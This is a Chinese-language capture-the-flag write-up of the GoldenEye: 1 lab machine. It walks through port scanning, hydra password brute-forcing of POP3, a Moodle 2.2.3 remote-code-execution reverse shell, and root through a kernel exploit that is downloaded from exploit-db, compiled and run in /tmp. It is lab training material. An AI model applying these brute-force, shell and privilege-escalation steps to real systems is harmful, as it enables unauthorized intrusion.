作者:KarmA@D0g3
记录一下自己的GoldenEye: 1 通关过程

背景

It's themed after the great James Bond film (and even better n64 game) GoldenEye.

靶机命名来自詹士邦系列的电影——GoldenEye

Difficulty:中等

Goal:得到root权限&找到flag.txt

Hint:有多种方法获得root权限

信息收集

nmap扫一下端口

除了常见的web(80)端口,还有一个smtp(25)端口,其他的55006和55007应该是smtp的加密协议~

80

看源码,发现一段注释

Url decode

既然拿到密码了,那就根据提示去/sev-home/login呗!

账号名:Boris ,密码如上,登陆后

查看源码,发现一个hint

<h1>GoldenEye</h1>
<p>GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO) </p>
<p>Please email a qualified GNO supervisor to receive the online <b>GoldenEye Operators Training</b> to become an Administrator of the GoldenEye system</p>
<p>Remember, since <b><i>security by obscurity</i></b> is very effective, we have configured our pop3 service to run on a very high non-default port</p>

然后发现,源码最底下藏了俩supervisor的名字

pop3

掏出hydra爆破一下pop3

顺利将密码爆破出来 ,那就继续走下去,用nc登进去邮箱看看有什么信息可以收集。

SMTP/POP3/IMAP 命令简介

boris

boris的三封邮件,没有什么特别的发现

natalya

natalya的两封邮件

发现了一个新学生的账号,而且root也告诉natalya该如何操作

Severnaya-Station

按照管理员给的提示,把domain加到host中

echo -e "192.168.11.122\tsevernaya-station.com" >> /etc/hosts

然后就直接访问域名,进入http://severnaya-station.com/gnocertdir/即可

一登陆,就有提示说Mr.Doak发了封邮件给Xenia,那就点进去看看呗。

类似于欢迎信的东东,但是发现了Mr.Doak的用户名为doak

那就再尝试一下爆破看看行不行得通

然后登陆进去doak的邮箱

又发现了一个密码

遍历网站的时候,发现一个txt文件

看到一个jpg文件,下载下来,binwalk跑一下,没发现隐写,exif跑一下,发现description里面有一个类似base64的编码,抠出来解下码xWinter1995x! ,这串东东有什么用。。然后在主页无意中看到这个

然后去试了一波admin的密码。。。竟然成功了~~

既然得到了admin的账号,看到了版本号Moodle2.2.3,那就去搜一波exp,发现2.2.3有个rce漏洞,就直接开始动手了。

手动构造rce

把每个链接都点了一遍,然后发现了有一个系统路径的页面

但是要反弹shell之前,需要把拼写检查换成PSpellSHell

默认的GoogleShell是弹不了的。

首先用的是nc反弹,没什么反应。。。

那换一种方法,python,成功了

然后再用如下命令生成TTY,方面后续操作

python -c 'import pty; pty.spawn("/bin/bash")'

虽然靶机介绍里面说要提权,然后找到flag.txt,

但是在我遍历一下web目录时,就可以找到一个xvf7-flag的文件夹,里面藏着flag(野路子)

Metasploit

提权

由于上面两种方法反弹shell后的提权操作一致,所以只写一次了

先用uname -a看看内核,然后去exploit-db搜一下exp。但是发现系统内没有装gcc。

cd /tmp # 进入/tmp目录,方便读写
wget https://www.exploit-db.com/download/37292.c
sed -i 's/gcc/cc/g' 37292.c # 系统内没有gcc,所以只能用cc代替
cc 37292.c -o evil # 编译exp
chmod 700 evil
./evil

然后就是root权限了。

果然结果还是上面遍历目录时发现的那个flag页面。

总结

  1. 第一次遇到smtp和pop这样的服务,有点懵逼,一开始卡了很久,还是得一步步去搜,现学现卖
  2. 用msf的确让攻击变得更加容易操作,但是自己手动去测试漏洞点,从构造到弹shell,里面考验的东西太多太多
  3. 学会了如何在没有gcc下用cc进行编译exp

源链接

Hacking more

...